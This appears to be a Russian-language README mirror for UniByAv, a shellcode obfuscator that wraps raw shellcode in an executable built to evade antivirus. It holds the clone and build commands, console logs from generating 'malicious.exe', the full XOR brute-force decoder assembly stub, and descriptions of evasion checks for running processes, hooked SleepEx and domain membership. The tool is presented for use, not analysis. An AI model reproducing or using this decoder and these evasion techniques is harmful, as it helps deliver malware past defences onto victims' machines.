Простой обфускатор shellcode: генерирует исполняемый файл, дружественный к антивирусам, из сырого shellcode. Процедура обфускации написана на ассемблере — генерируется 32-битный XOR-ключ, который брутфорсится и расшифровывается прямо во время выполнения. От автора Mr.Un1k0d3r (RingZer0 Team). Восстановлено из архива Software Heritage: оригинальный репозиторий был удалён автором с исходной площадки. Из-за перегрузки очереди приготовления полного git-бандла восстановлен только последний известный снимок файлов (без истории коммитов) и перенесён в наш Forgejo-миррор.
git clone https://git.toolsofthetrade.qzz.io/recovered/unibyav.git cd unibyav # Требуется cygwin/MinGW toolchain на Windows для компиляции итогового .exe python UniByAv4.2.py shellcode.bin output.exe /path/to/MinGW/bin/
UniByAv — это простой обфускатор, который берет исходный шеллкод и генерирует исполняемый файл, дружественный к антивирусам.
Обфускация выполнена полностью на ассемблере, чтобы оставаться компактной и эффективной. По сути, приложение генерирует 32-битный XOR-ключ и методом перебора находит его во время выполнения, после чего расшифровывает сам шеллкод.
Я планирую обновлять код со временем, добавляя поддержку некоторых техник обхода, которые я использовал.
$ python UniByAv4.1.py shellcode test.exe /cygdrive/c/Program\ Files\ \(x86\)/CodeBlocks/MinGW/bin/
UniByAv4.1 Shellcode encoder tool / Mr.Un1k0d3r RingZer0 Team 2014
Currently running under (cygwin) LINUX switch is set to 0
Self decoding payload written in assembly
[+] Generating xoring key
[+] Xoring key is set to 0x150014cc
[+] Original shellcode size is (13) bytes adding (3) bytes to align it
[+] Magic key is set to \x49\x62\x4d\x6b
[+] Payload + decoder shellcode length is now (134) bytes
[+] Generating the final c file
[+] Generating random charset array for kernel32 and SetProcessDEPPolicy
[+] Generating int array for "kernel32.dll". Array size is: 12
[+] Generating int array for "SetProcessDEPPolicy". Array size is: 19
[+] Compiling the final executable
[+] /cygdrive/c/Users/Mr.Un1k0d3r/Desktop/output/test.exe has been created
[+] Generation completed

Установка gccpath в none сгенерирует только C-файл
$ python UniByAv4.1.py SHELLCODE malicious.exe none configs/process-evasion.json
UniByAv4.1 Shellcode encoder tool / Mr.Un1k0d3r RingZer0 Team 2014
Currently running under (cygwin) LINUX switch is set to 0
Self decoding payload written in assembly
[+] *** Loading process evasion module
[+] Generating xoring key
[+] Xoring key is set to 0x1e1be916
[+] Original shellcode size is (5) bytes adding (3) bytes to align it
[+] Magic key is set to \x52\x42\x4e\x78
[+] Payload + decoder shellcode length is now (66) bytes
[+] Generating the final c file
[+] Generating random charset array for kernel32 and SetProcessDEPPolicy
[+] Generating int array for "kernel32.dll". Array size is: 12
[+] Generating int array for "SetProcessDEPPolicy". Array size is: 19
[+] /cygdrive/c/Users/Mr.Un1k0d3r/Desktop/UniByAv/output/malicious.exe.c has been created
[+] Generation completed
Этот инструмент использует простой ассемблерный стаб для декодирования зашифрованного шеллкода. Как видно, ключ неизвестен и подбирается перебором во время выполнения. Поскольку цикл написан на ассемблере, выполнение миллионов итераций на современной системе происходит довольно быстро.
Decoder assembly:
0: eb 2f jmp 31
2: 58 pop eax
3: 31 c9 xor ecx,ecx
5: 89 cb mov ebx,ecx
7: 6a 04 push 0x4
9: 5a pop edx
a: 43 inc ebx
b: ff 30 push DWORD PTR [eax]
d: 59 pop ecx
e: 0f c9 bswap ecx
10: 31 d9 xor ecx,ebx
12: 81 f9 41 75 49 48 cmp ecx,[MAGIC]
18: 75 f0 jne a
1a: 0f cb bswap ebx
1c: 31 c9 xor ecx,ecx
1e: 81 c1 05 00 00 00 add ecx,[NUMBER_OF_CHUNK]
24: 01 d0 add eax,edx
26: 31 18 xor DWORD PTR [eax],ebx
28: e2 fa loop 24
2a: 2d 14 00 00 00 sub eax,[FULL_SIZE]
2f: ff e0 jmp eax
31: e8 cc ff ff ff call 2
[OPCODE]
Предустановленные конфигурационные файлы можно найти в папке configs.
Проверяет, запущен ли определенный процесс. Если нет, двоичный файл завершает работу без запуска полезной нагрузки.
Проверяет, был ли перехвачен SleepEx. Если функция возвращает ложные данные, программа завершает работу без запуска полезной нагрузки.
Проверяет, является ли текущий пользователь членом указанного домена. Если нет, программа завершает работу без запуска полезной нагрузки.
В Windows
python
MinGW (shipped with CodeBlocks)
В Linux
python
wine
MinGW
Mr.Un1k0d3r из команды RingZer0